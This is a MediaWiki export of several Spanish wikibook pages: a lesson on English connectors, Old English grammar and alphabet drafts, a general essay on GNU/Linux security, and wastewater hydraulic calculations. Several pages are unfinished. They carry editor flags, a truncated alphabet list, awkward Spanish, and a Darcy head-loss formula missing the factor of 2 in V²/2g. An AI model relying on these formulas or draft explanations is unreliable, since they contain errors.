He will '''not''' do that work, '''even if''' he is paid for it.

El no hará ese trabajo, ''ni siquiera si'' se le paga por ello. 


'''despite / in spite of - a pesar de, pese a'''

'''Despite''' his bad reputation, the politician won the elections.

''A pesar de'' su mala reputación, el político ganó las elecciones.


'''regardless of - sin importar, sin tener en cuenta'''

A patriot will defend his nation, '''regardless''' of the consequences.

Un patriota defenderá a su nación, ''sin importar'' las consecuencias.


5) Los '''conectores conclusivos''' reflejan la consecuencia de lo dicho en el texto. En inglés, algunos de ellos son: therefore, hence, thus, so, consequently.

'''therefore - por lo tanto, por consiguiente, desde luego '''

I don't know her phone number, '''therefore''' I can't call her.

No sé su número de teléfono, por lo tanto no puedo llamarla.


'''hence - de ahí''' 

Frank was raised in a farm, hence his ability to ride horses.

Frank fue criado en una granja, ''de ahí'' su capacidad de montar a caballo. 


'''thus - así, desde luego'''

She hadn't eaten for days and '''thus''' felt very weak.

Ella no había comido por días y ''desde luego'' se sentía muy débil. 


'''so - entonces, por lo tanto, de modo que'''

His car broke down, '''so''' he took it to a garage.

Su coche se descompuso, ''entonces'' lo llevó a un taller mecánico.


'''consequently - por lo tanto, por consiguiente'''

They argued all the time, '''consequently''' they eventually got divorced.

Ellos discutían todo el tiempo, ''por lo tanto'', finalmente se divorciaron.


6) Los '''conectores adversativos''' añaden una negación a la frase anteriormente mencionada, una frase opuesta a la otra. Por ejemplo: but, however, yet, still, instead, on the contrary.

'''but - pero''' 

He spoke clearly, '''but''' I didn't understand him.

Habló claramente ''pero'' no lo entendí


'''however - sin embargo, de la forma/como...''' 

They were not having fun; '''however''' they stayed until the party was over.

Ellos no se estaban divirtiendo; ''sin embargo'' se quedaron hasta que la fiesta terminó.

'''However''' you want.

''Como'' tú quieras.


'''nonetheless / nevertheless - sin embargo''' 

It was very stormy; '''nevertheless''' we went fishing.

Estaba muy tormentoso; ''sin embargo'' fuimos de pesca. 

She had no experience; '''nonetheless''' she got the job.

Ella no tenía experiencia; ''sin embargo'' consiguió el trabajo. 


'''yet / even so - sin embargo, aun así''' 

He was a very good swimmer; '''even so''', he drowned.

El era un muy buen nadador; ''aún así'', se ahogó.

He wanted to reply to that accusation, '''yet''' he didn't.

El quería contestar a esa acusación; ''sin embargo'' no lo hizo.


'''still - sin embargo''' 

He can not speak very well; '''still''' he understands everything.

No puede hablar muy bien, ''sin embargo'', entiende todo.


'''instead - en su lugar, en lugar de ello''' 

I was invited to a party on Saturday, but went to bed '''instead'''.

Fui invitado a una fiesta el sábado, pero me fui a dormir ''en lugar de ello''. 


'''on the contrary - por el contrario, al contrario'''

The boy is not dumb; '''on the contrary''', he's very smart for his age.

El muchacho no es tonto; ''al contrario'' él es muy inteligente para su edad.


7) Los '''conectores casuales''' introducen causas a nivel del texto cuando una oración cumple la función de ser causa de otra. Algunos conectores son: for, because of, due to, since, as. 

'''because - porque''' 

The baby is crying '''because''' he is hungry.

El bebé está llorando ''porque'' tiene hambre.


'''for - porque''' 

She turned on the lights, '''for''' she was afraid of the dark.

Encendió las luces ''porque'' tenía miedo a la oscuridad.


'''because of - debido a, a causa de'''

They stayed in '''because of''' the bad weather.

Ellos se quedaron en casa ''debido'' al mal tiempo. 


'''since - puesto que, ya que'''

They decided to go to sleep, '''since''' it was very late.

Decidieron irse a dormir, ''puesto que'' era muy tarde.


'''as - puesto que, ya que''' 

She failed to pass the exam, '''as''' she made many mistakes.

No pudo pasar el examen, ''puesto que'' cometió muchos errores.


'''due to / owing to - debido a'''

The unemployment was high '''due/owing to''' the economic crisis.

El desempleo era alto ''debido a'' la crisis económica.


8) Los '''conectores comparativos''' se utilizan cuando una o más oraciones expresan grados de comparación por semejanza o diferencia. As/ as ... as .../ not as ... as .../ as if/ as though.

'''as - como, cuando'''

He performed the operation exactly '''as''' he was told.

El ejecutó la operación exactamente ''como'' se le dijo. 


'''as...as - tan...como

not as...as - no tan..como'''

His car is '''as''' fast '''as''' mine.

Su auto es ''tan'' veloz ''como'' el mío.

They are '''not as''' good '''as''' you think.

Ellos ''no'' son ''tan'' buenos ''como'' tu piensas. 


'''not so...as - no tan...como''' 

She was '''not so''' beautiful '''as''' her mother.

Ella ''no'' era ''tan'' bonita ''como'' su madre. 


'''as if / as though - como si'''

They treat me '''as if''' they didn't know me.

Me tratan ''como si'' no me conocieran. 


'''than - que'''

Learning English is more difficult '''than''' most people think.

Aprender inglés es más difícil ''que'' lo que la mayoría cree. 


9) Utilizamos los '''conectores funcionales''' para expresar un fin, objetivo o propósito. En inglés algunos de ellos son: so, so that, so as to, in order to.

'''so - entonces''' 

'''So''', tell me what you think about my new dress! 

''Entonces'', dime que piensas acerca de mi nuevo vestido! 


'''so that - de modo que/ a fin de que'''

He gave her a present '''so that''' she would feel better.

El le dio un regalo ''para que'' ella se sintiera mejor.


'''so as to/so as not to - para que, de manera que/para no''' 

We moved the table '''so as to''' have more space for dancing.

Mudamos la mesa ''para'' tener más espacio para bailar.

She wrote down his address '''so as not''' to forget it.

Ella anotó su dirección ''para no'' olvidarla.  


'''in order to - para''' 

They left early '''in order to''' arrive in time for the movie.

Ellos salieron temprano para llegar a tiempo ''para'' la película.


10) Se usan los '''conectores continuativos''' para dar continuación a la idea que se está expresando. Son algunos ejemplos: then, moreover, furthermore, besides, in addition to.

'''then - entonces'''

If it is not here, '''then''' it's lost.

Si no está aquí, ''entonces'' está perdido.


'''moreover - además, aparte de'''

Soccer is a good sport; '''moreover''', it is very easy to learn.

El fútbol es un buen deporte; ''además'' es muy fácil aprenderlo.


'''furthermore - es más'''

I don't want stay here; '''furthermore''', I have things to do.

No quiero quedarme aquí; ''además'', tengo cosas que hacer. 


'''besides - además, por otra parte'''

I don't want to sell my car; '''besides''', I need it for my job.

No quiero vender mi auto; ''además'' lo necesito para mi trabajo. 


'''in addition to - además de, también'''

'''In addition to''' being a great person, the physician was an excellent professional.

''Además de'' ser una gran persona, el médico era un excelente profesional.

{{AutoCat}}</text>
      <sha1>dlw1uepfjizn70qeds40didou51hr4q</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Inglés antiguo/Introducción</title>
    <ns>0</ns>
    <id>31638</id>
    <revision>
      <id>429863</id>
      <parentid>164746</parentid>
      <timestamp>2026-08-01T22:06:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429863</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="298" sha1="c17l0wr0c23xzbpx3r535xeseu1w0jx" xml:space="preserve">El '''Inglés antiguo''' fue el idioma de los ingleses a partir de aproximadamente 500 dC hasta 1100 dC. No es muy similar al inglés moderno; tiene una gramática mucho más complicada que el inglés moderno (y el español moderno).

[[Categoría:Inglés|Ingles antiguo/Introduccion]]

{{AutoCat}}</text>
      <sha1>c17l0wr0c23xzbpx3r535xeseu1w0jx</sha1>
    </revision>
    <revision>
      <id>429897</id>
      <parentid>429863</parentid>
      <timestamp>2026-08-01T22:09:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429897</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="246" sha1="gbhjpyic74ebkk97r1ggqcaf9xohvj5" xml:space="preserve">El '''Inglés antiguo''' fue el idioma de los ingleses a partir de aproximadamente 500 dC hasta 1100 dC. No es muy similar al inglés moderno; tiene una gramática mucho más complicada que el inglés moderno (y el español moderno).

{{AutoCat}}</text>
      <sha1>gbhjpyic74ebkk97r1ggqcaf9xohvj5</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Inglés antiguo/El sustantivo</title>
    <ns>0</ns>
    <id>31703</id>
    <revision>
      <id>429865</id>
      <parentid>164685</parentid>
      <timestamp>2026-08-01T22:06:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429865</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3244" sha1="i37bbxu7d8t4vh9l9z02lpxmwcguruv" xml:space="preserve">El inglés antiguo tiene tres géneros: el género masculino, el género femenino, y el género neutro; tiene también cuatro casos: el caso nominativo, el caso acusativo, el caso genetivo, y el caso dativo. Un caso es la manera gramatícal por que se demonstra un sustantivo o un pronombre (o un adjetivo) como se hace en una frase (&quot;me&quot; es el caso oblicuo de &quot;yo&quot; (el caso nominativo) en español; &quot;mi&quot; es el caso genetivo). El caso nominitive demonstra que la palabra que tiene lo es el sujeto de la frase, o que es un sujeto predicado (por examplar: &quot;'''yo''' estoy feliz&quot; y &quot;yo soy un '''hombre'''&quot; y &quot;yo estoy más feliz que '''tu'''&quot;); el caso acusativo demonstra que la palabra que tiene él es es un objeto de una frase (por examplar: &quot;odio '''lo'''&quot;); el caso genetive demonstra que la palabra que tiene él tiene posesión de algo o relación a algien (por examplar: &quot;lo es '''mi''' cosa&quot; y &quot;él es '''mi''' hermano&quot;); el caso dativo demonstra que la palabra que tiene él ha algo ''a'' le (por examplar: &quot;da '''me''' la comida, por favor&quot;). También hay uno caso instrumental en el inglés antiguo, pero no es muy común; él deomonstra que la palabra que tiene él es el instrumento por medio de que algo es hecho (por examplar: &quot;él mató lo '''por medio de una espada'''&quot;); normalmente es él igual a el caso dativo, exepto si es demonstrado de lo contrario.     


La más gran parte de sustansivos en el inglés antiguo se flexiona por esta flexión, la declención &quot;fuerte&quot;:

{|align=&quot;center&quot; width=&quot;60%&quot; border=&quot;1&quot;
|-
!colspan=&quot;3&quot; align=&quot;center&quot;|here (del caso masculino) - ejército, horda
|-
|caso
|singular 
|plural
|-
|nom. ac.
|here
|her-as
|-
|gen.
|her-es
|her-a
|-
|dat.
|her-e
|her-um
|}

{|align=&quot;center&quot; width=&quot;60%&quot; border=&quot;1&quot;
|-
!colspan=&quot;3&quot; align=&quot;center&quot;|þinȝ (del caso neutro) - cosa
|-
|caso
|singular
|plural
|-
|nom. ac.
|þinȝ
|þinȝ
|-
|gen.
|þinȝ-es
|þinȝ-a 
|-
|dat.
|þinȝ-e
|þinȝ-um
|}

O ese:

{|align=&quot;center&quot; width=&quot;60%&quot; border=&quot;1&quot;
|-
!colspan=&quot;3&quot; align=&quot;center&quot;|scip (del caso neutro) - barco, baque, nave
|-
|caso
|singular
|plural
|-
|nom. ac.
|scip
|scip-u
|-
|gen.
|scip-es
|scip-a 
|-
|dat.
|scip-e
|scip-um
|}


Nota que unas palabras tienen temas (la palabre &quot;tema&quot; allí significa &quot;la parte pincipal de una palabra&quot;) &quot;largas&quot;, y otras tienen temas &quot;cortas&quot;. Una tema larga tiene una vocal larga o dos consonantes a su fin (por examplar &quot;þinȝ&quot;), o una vocal larga ''y'' dos consonantes a su fin. Una tema corta tiene vocal corta y no más que '''una''' consonant a su fin (por examplar &quot;scip&quot;).

Palabras con temas cortas del genero neutro tienen &quot;-u&quot; por sufijo gramatícal del numero plural y del caso nominativo o acusativo, sino no palabras con temas largas. 

Cuando temas de palabras tienen más que una sílaba, está posible quitar la vocal da sílaba final (si sea corta) y tratar la tema da la palabra como sea corta. 

Esa es la declinacióc &quot;corta&quot; del genero feminino:
  
{|align=&quot;center&quot; width=&quot;60%&quot; border=&quot;1&quot;
|-
!colspan=&quot;3&quot; align=&quot;center&quot;|þystru (del caso femenino) - oscuridad, penumbra
|-
|caso
|singular
|plural
|-
|nom.
|þystr-u
|þystr-a
|-
|ac.
|þystr-e
|þystr-a
|-
|gen.
|þystr-e
|þystr-a, þystr-ena 
|-
|dat.
|þystr-e
|þystr-um
|}

{{AutoCat}}</text>
      <sha1>i37bbxu7d8t4vh9l9z02lpxmwcguruv</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Lo que afecta a las distribuciones de Gnu/Linux</title>
    <ns>0</ns>
    <id>32135</id>
    <revision>
      <id>429773</id>
      <parentid>314396</parentid>
      <timestamp>2026-08-01T21:32:50Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429773</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5286" sha1="pm5iec0yz0a3ug1kic6lmqnbwue55dl" xml:space="preserve">== ¿Es GNU/Linux seguro? ==

Existe la fiel creencia entre los usuarios noveles de redes y ordenadores de que un sistema operativo GNU/Linux es ya 100% seguro.
Esto conlleva un grave riesgo, al crear una falsa sensación de seguridad en el usuario, que pone en riesgo su sistema. 

Al tratarse de software libre, cualquier persona tiene acceso al código fuente, con lo que es posible estudiarlo en detalle.

Esto, que a primera vista puede parecer una espada de doble filo, es en la práctica una gran ventaja, al ser pocos los errores que pasan desapercibidos.

Del mismo modo que se rechaza el secretismo, en cuanto a por ejemplo: algoritmos de cifrado, por parte de expertos en seguridad informática, es de esperarse que en un futuro cercano la libre disposición del código fuente sea un requisito indispensable para considerar segura a cualquier aplicación.

Una gran ventaja de este sistema es su herencia, el diseño tipo UNIX.

El sistema de privilegios básico, que es parte íntegra e indispensable, permite controlar el acceso a los recursos, ya sean ficheros o dispositivos de hardware. Sumado a esto, es posible usar listas de control de acceso y aplicar esquemas de seguridad más complejos, como SELinux o AppArmor, que permiten una mucho mayor precisión a la hora de aplicar restricciones. 

Todo esto hace mucho mas compleja la escalada de privilegios.

Como en todo sistema tipo UNIX, la norma básica de seguridad es asignarle a cada uno de los usuarios sólo los permisos mínimos necesarios para que este pueda realizar su trabajo, sin comprometer el de los demás y la integridad del sistema.

== Virus en GNU/Linux ==

Otro tema que crea controversia en la red sobre la seguridad en GNU/Linux es el hecho de la posibilidad de un virus en nuestro sistema.

Según un estudio reciente publicado en SecurityFocus existen cerca de 60,000 virus conocidos para Windows, 40 para Macintosh, 5 para los Unix comerciales y 40 para Gnu/Linux {{cita requerida}}.

Muchos de los virus de Windows no tienen importancia, pero existen cientos que causan un amplio daño. Dos o tres de Macintosh son peligrosos y ninguno de Unix o Gnu/Linux causa un daño grave, la mayoría se encuentra confinado a un laboratorio.

Todo ello añadido a la diferencia del concepto de seguridad que planteábamos en el apartado anterior, implica que nuestro sistema no es inmune, pero es altamente improbable que resulte dañado por un virus.
Desde hace mucho tiempo se han hecho pruebas de concepto en este sentido, en busca de un malware multiplataforma, como el llamado sadmind/IIS que atacaba demonios Solaris y Servidores IIS, o el mas moderno Virus.Linux.Bi.a/ Virus.Win32.Bi.a, el virus dual capaz de infectar a ficheros PE de Windows y ELF de Gnu/Linux.

Aunque hasta ahora todos ellos han requerido de la intervención del usuario. Como cabria esperar en estos casos, la Ingenieria Social precede a cualquier ataque de estos virus, y es el usuario el que en gran medida debe ejecutar de manera voluntaria en mayor o en menor medida el virus.

== GNU/Linux domestico Vs empresarial ==

En principio GNU/Linux y los sistemas *nix fueron pensados para ámbitos universitarios, empresariales.... Pero el auge de estos sistemas y la gran demanda de los mismos ha hecho que este sistema adquiera muchos adeptos entre los usuarios domésticos.

En el ámbito empresarial, todos conocemos varias firmas de software antivirus que han hecho mercado vendiendo también sus productos adaptados al software libre. Sus sistemas de protección para servidores están especializados no solo en el saneamiento de los servidores en si, sino de la red basada en Windows. SE puede hallar en la red mucha información la respecto, de como securizar nuestro server, y también de las diferentes herramientas a nuestro alcance, como Netfilter, Snort, IPCOP, FWbuilder, Squid...

En el ámbito domestico nuestro trabajo es algo más sencillo. Con buen optimizado de un firewall como Firestarter o una configuración óptima de iptables podemos estar mas seguros en nuestro equipo. Si bien no debemos de vigilar que nuestro sistema este siempre actualizado y que no debemos pasar por alto los bugs que vayan apareciendo, podremos también garantizar nuestra seguridad con un monitoreo de la red con aplicaciones como Wireshark.

== Conclusiones ==

La conclusión que podemos sacar de este articulo es clara e inequívoca. GNU/Linux es más seguro, sí, pero no a cualquier precio. Si un usuario ha adquirido un sistema basado en Unix , un BSD o un GNU/Linux en cualquiera de sus distribuciones ha dado un importante paso para la comprensión de lo que conlleva la seguridad en un sistema informático, pero no ha recorrido todo el camino. El concepto de seguridad que vamos adquirir nos lleva a un nivel mas jerárquico y funcional de la misma, basado en privilegios, y la posesion o carencia de los mismos.
En un principio puede resultarnos algo desconcertante que necesitemos identificarnos como root ante el sistema, para algo tan simple como cambiar la fecha y la hora del reloj, pero así asimilamos el concepto de seguridad mas globalmente.
Recordad que el metodo de seguridad proviene del usuario en si mismo, y en estos sistemas libres el superusuario es quien tiene la ultima palabra.

{{AutoCat}}</text>
      <sha1>pm5iec0yz0a3ug1kic6lmqnbwue55dl</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Página de edición</title>
    <ns>0</ns>
    <id>32548</id>
    <revision>
      <id>429984</id>
      <parentid>156624</parentid>
      <timestamp>2026-08-02T09:38:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Ingeniería de aguas residuales]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429984</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="92" sha1="po5o19v3qtrsdlgmpdvdfagbamtwvm4" xml:space="preserve">==Contenido del Libro ==
{{Libro++|Ingeniería de aguas residuales}}
&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>po5o19v3qtrsdlgmpdvdfagbamtwvm4</sha1>
    </revision>
    <revision>
      <id>429992</id>
      <parentid>429984</parentid>
      <timestamp>2026-08-02T09:47:50Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429992</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="103" sha1="2llxtes3dccfqdx895idjs7jv5dxa31" xml:space="preserve">==Contenido del Libro ==
{{Libro++|Ingeniería de aguas residuales}}
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>2llxtes3dccfqdx895idjs7jv5dxa31</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática</title>
    <ns>0</ns>
    <id>32580</id>
    <revision>
      <id>429889</id>
      <parentid>394958</parentid>
      <timestamp>2026-08-01T22:09:04Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429889</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1398" sha1="41b9d6jn2ydoqrem6gfkwkcrp4h2djx" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Gramática
|tema1= Acuerdo sujeto-verbo
|tema2= Adjetivos
|tema3= 
|tema4= Adjetivos determinados
|tema5= 
|tema6= Adjetivos posesivos
|tema7= Comparación del adjetivo
|tema8= Comparativos y superlativos
|tema9= Condicionales
|tema10= Determinantes
|tema11= El imperativo
|tema12= Preposiciones
|tema13= El verbo ser o estar
|tema14= El verbo tener
|tema15= Pasado progresivo
|tema16= Pasado perfecto progresivo
|tema17= El pasado
|tema18= El tiempo presente
|tema19= Presente perfecto
|tema20= Presente progresivo
|tema21= Verbos en sus formas activa y pasiva
|tema22= El tiempo futuro
|tema23= El tiempo condicional
|tema24= Forma continua o progresiva
|tema25= Verbos
|tema26= Verbos defectivos
|tema27= Verbos modales
|tema28= Verbos que expresan condición
|tema29= Verbos regulares e irregulares
|tema30= Voz pasiva
|tema31= Las conjunciones
|tema32= Plurales irregulares
|tema33= El pronombre interrogativo
|tema34= Pronombres personales
|tema35= Pronombres personales sujetos
|tema36= Pronombres posesivos
|tema37= Pronombres reflexivos
|tema38= Subjuntivo
|tema39= Sujetos y objetos
|tema40= Sustantivos
|tema41= Sustantivos posesivos
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Gramática/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Gramática»'''}}
{{Inglés}}
&lt;/noinclude&gt;</text>
      <sha1>41b9d6jn2ydoqrem6gfkwkcrp4h2djx</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Inglés antiguo/El alfabeto</title>
    <ns>0</ns>
    <id>32920</id>
    <revision>
      <id>429864</id>
      <parentid>360228</parentid>
      <timestamp>2026-08-01T22:06:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429864</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1670" sha1="78xa1h96jn22peguq5rps3ccewmhqly" xml:space="preserve">El inglés antiguo fue una idioma muy diferente al inglés moderno, pero el inglés antiguo y moderno tienen muchas palabras similares (por ejemplo, &quot;he&quot; en inglés moderno y &quot;hē&quot; en inglés antiguo (significan &quot;él&quot;). 

El primer paso para aprender este idioma es el alfabeto. Este el el alfabeto del inglés antiguo.

*A - Como en el español. 
*Æ - El español no tiene este sonido. Es entre &quot;A&quot; y &quot;E&quot;, como a en &quot;At&quot; en el inglés moderno.
*B - Como la &quot;B&quot; en &quot;Bolivia&quot;, no cómo la &quot;V&quot;.
*C - A veces como la &quot;c&quot; en &quot;cocina&quot;, pero a otras veces como la &quot;ch&quot; en &quot;hecho&quot;. Se demuestra cuando es como &quot;ch&quot; por medio de un punto sobre la letra (por ejemplo, &quot;ċild&quot; se dice como &quot;child&quot;).
*D - Como la &quot;D&quot; de &quot;durante&quot; pero no como la &quot;D&quot; de &quot;medio&quot;.
*E - Como en el español.
*F - Si es al principio de una palabra, como &quot;F&quot; en el español; si es a la mitad de una palabra, similar a la &quot;B&quot; en &quot;haber&quot;.
*G - Si es al principio de una palabra, como la &quot;G&quot; en &quot;gusto&quot;; si es al final de la palabra sería como la &quot;G&quot; en &quot;hago&quot; (excepto si está después de una &quot;N&quot;, como en &quot;Sing&quot;). A veces también se dice como la &quot;Y&quot; en &quot;yo&quot;. Demostraré cuando es cómo y por medio de un punto sobre la letra, como c/ċ
*H - Similar a j en el español.
*I - Similar a i en el español.
*K - Es muy escaso. Siempre como c en &quot;calor&quot;.
*L - Como l en el español, exepto cuando al fin de una sílaba, cuando es como ll en el español de España. 
*M - Como m.
*N - Como n, excepto cuando es ante g o c o k, cuando se dice más atrás en la boca.
*O - Como o.
*P - Como p.
*Q - Es muy escasa, como cu en &quot;cuando&quot;.
*R - Como rr.
*S - Cuando al principio de una palabra, có.

{{AutoCat}}</text>
      <sha1>78xa1h96jn22peguq5rps3ccewmhqly</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Cálculos hidráulicos</title>
    <ns>0</ns>
    <id>32922</id>
    <revision>
      <id>429978</id>
      <parentid>333043</parentid>
      <timestamp>2026-08-02T09:33:50Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429978</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="32244" sha1="5n4tho9hr2e0zjhdy03m9vkw568sx1f" xml:space="preserve">==1. INTRODUCCIÓN. DEFINICIÓN DE LÍNEA PIEZOMÉTRICA.==

Línea piezométrica: Es la línea imaginaria que resultaría al unir los puntos hasta los que el líquido podría ascender si se insertasen tubitos piezométricos en distintos lugares a lo largo de la tubería o canal abierto. Es una medida de la presión hidrostática disponible en dichos puntos. La línea piezométrica por su propia definición no siempre es decreciente, pudiendo crecer en puntos en los que aumente la presión hidrostática. 

Para el estudio de una línea piezométrica se llevan a cabo los cálculos hidráulicos que determinan la disposición y el dimensionamiento interno de los diferentes elementos y obras que componen una E.D.A.R.

El estudio hidráulico para obtener la línea piezométrica, se realiza sobre la base de formas específicas para cada accidente hidráulico, adoptando márgenes de seguridad que garanticen el buen funcionamiento. 

El proceso de cálculo se debe basar en el análisis del comportamiento hidráulico de los distintos elementos que componen la planta depuradora, relacionándose unos con otros mediante la distintas láminas de agua a la entrada y salida de los mismos.       

Todas las cotas de lámina de agua se expresan normalmente en metros sobre el nivel del mar (m.s.n.m.) y las pérdidas de carga, en metros de columna de agua (m.c.a.). 


==2. CRITERIOS DE CÁLCULO. ==

Es muy importante valorar los criterios que se van a utilizar para el cálculo de las pérdidas de carga: 

===2.1 Pérdida de carga en tuberías. ===

Para el análisis de la pérdida de carga en tuberías se usa la expresión propuesta por Colebrook, universalmente aceptada para el cálculo de pérdidas de carga en tuberías de presión por las que circula agua en régimen de transición o turbulento.   La dificultad de la determinación de la pérdida de carga obliga al uso de tablas o bien a la resolución numérica de dicha ecuación para los valores concretos de rugosidad, velocidad y diámetro de la tubería. 

La pérdida de carga viene dada por la siguiente expresión (pérdida de carga unitaria según Darcy): : 

&lt;math&gt; 
j = \cfrac {\lambda} {\phi}
\,\!
\cdot 
\cfrac{V^2}{g} \,\!&lt;/math&gt;

En donde: 

j  :   pérdida de carga (m.c.a./m) 

&lt;math&gt;\lambda&lt;/math&gt;:  coeficiente de pérdida de carga adimensional 

&lt;math&gt;\Phi&lt;/math&gt; :  diámetro de la tubería (m) 

V :  velocidad media del fluido en la tubería (m/s) 

g :  aceleración de la gravedad (m/s2) 

El coeficiente de pérdida de carga adimensional se obtiene de la siguiente expresión: 

&lt;math&gt; 
\cfrac{1}{\sqrt{\lambda}} = -2\cdot \log\left(\cfrac{K}{3.71\cdot\phi}+\cfrac{2.51\cdot\nu}{V\cdot\phi\cdot\sqrt{\lambda}}\right)
\,\!
&lt;/math&gt;
En donde: 

K :  rugosidad equivalente  (m) 

n :  viscosidad cinemática (m2/s) 

Operando en ambas expresiones se obtiene la fórmula de Colebrook: 

&lt;math&gt; 
V =-2
\cdot\sqrt{2g\cdot\phi\cdot j}
\cdot\log\left(\cfrac{K}
                    {3.71\cdot\phi}
                +\cfrac{2.51\cdot\nu}
                       {\phi\cdot\sqrt{2g\cdot\phi\cdot j}}
          \right)
\,\!
&lt;/math&gt;


Para un caudal y sección determinada se obtiene el valor de la pérdida de carga en m.c.a./m de tubería.  Esta expresión se resuelve numéricamente para la determinación del valor de j.

===2.2 Pérdida de carga en canales.  ===

Se suele utilizar la fórmula de Manning: 

&lt;math&gt;V=\cfrac{R_h^{2/3}}{n}\cdot S^{1/2}&lt;/math&gt;       (COMPROBAR)

siendo:

V = Velocidad del agua en m/s. 

&lt;math&gt;R_h&lt;/math&gt; = Radio hidráulico en m. 

S = Pendiente o pérdida de carga en m/m. 

n = Coeficiente de rugosidad (en función del material del canal).

A su vez el radio hidráulico viene dado por la expresión: : 

&lt;math&gt;R_h=\cfrac{A}{P}&lt;/math&gt;


En donde: 

A= Área mojada de la sección (m2) 

P= Perímetro mojado (m) 

Variarán su expresión según la forma del canal, ya sea rectangular, circular, etc.

===2.3 Pérdida de carga en orificios ===

Un orificio es una abertura efectuada en la pared de un depósito, embalse, tubería o canal de forma que el agua puede escurrir a través de el.   Un orificio es una singularidad en contorno cerrado, o sea una singularidad cuyo perímetro es totalmente mojado. 

La expresión más ampliamente aceptada para el cálculo de la pérdida de carga a través de un orificio es: 

: &lt;math&gt;Q=K \, S \, \sqrt{2\, g\, h}&lt;/math&gt;

En donde: 

Q: caudal que atraviesa el orificio (m3/s) 

S:  sección transversal al flujo del orificio  (m2) 

g :  aceleración de la gravedad (m/s2) 

h:  pérdida de carga en el orificio (m.c.a.) 

K: constante (valor normal= 0,62)

===2.4 Pérdida de carga en singularidades===

La pérdida de carga genérica en una singularidad viene dada por la siguiente expresión, en donde K adopta distintos valores según el accidente.   : (FALTA ECUACIÓN)

: &lt;math&gt;h= K\,\cfrac{v^2}{2g}&lt;/math&gt;

En donde: 

h :   pérdida de carga (m.c.a.)

V :  velocidad media del fluido en la tubería (m/s) 

g :  aceleración de la gravedad (m/s2) 

K :  coeficiente de la singularidad 

Los valores de K para distintas singularidades adoptan valores dentro de los siguientes rangos:  


{| border=1 
!Accidente
!K
|-----------------
|Contracción brusca
||0,5-1,5 
|-----------------
|Expansión brusca  
||0,5-1,1 
|-----------------
|Codos a 45º 
||0,15-0,19 
|-----------------
|Codos a 90º 
||0,26-0,33 
|-
|giro a 180º
|3.2
|-----------------
|Válvula de compuerta 
||0,15-0,3 
|-----------------
|Válvula de retención 
||1,5-2,9 
|-----------------
|Compuerta canal abierto 
||0,2-0,3 
|}

===2.5  Criterios de dimensionado de vertederos. ===

En la mayoría de los casos, para este tipo de aplicaciones se diseñan los vertederos como vertederos libres, es decir, que la altura de la lámina de agua, aguas abajo del mismo es inferior a 2/3 de la altura aguas arriba. Se restringe este apartado a los tipos de vertederos más comúnmente empleados en plantas depuradoras:  vertedero lineal para la mayoría de recintos y vertedero circular de dientes (vertedero Thompson) para recintos de planta circular. 

====2.5.1. Vertederos lineales====

La altura de la lámina de agua, aguas arriba del vertedero viene dada por la expresión: : 

:&lt;math&gt;Q=\mu\,L\,\sqrt{2\,g\,h^3}&lt;/math&gt;

En donde: 

Q: caudal que atraviesa el vertedero (m3/s) 

m :  coeficiente de caudal del vertedero 

L: longitud del vertedero  (m) 

g :  aceleración de la gravedad (m/s2) 

h: altura de la lámina de agua, aguas arriba del vertedero (m.c.a.) 

La determinación del valor de m es el aspecto más complicado en el dimensionado del vertedero.  Diversos autores han propuesto algunas expresiones analíticas que se destacan a continuación:

Fórmula de Bazin: (0,10&lt;h&lt;0,60) : 

: &lt;math&gt;\mu=0,405+\cfrac{0,003}{h}\,\left (
1+0,55\cfrac{h^2}{(h+p)^2}\right )&lt;/math&gt;

Fórmula de Rehbock: (0,025&lt;h&lt;0,80) 

: &lt;math&gt;\mu=2/3\,\left (0,605+\cfrac{1}{1050\,h-3}+0,08\cfrac{h}{P}\right )&lt;/math&gt;

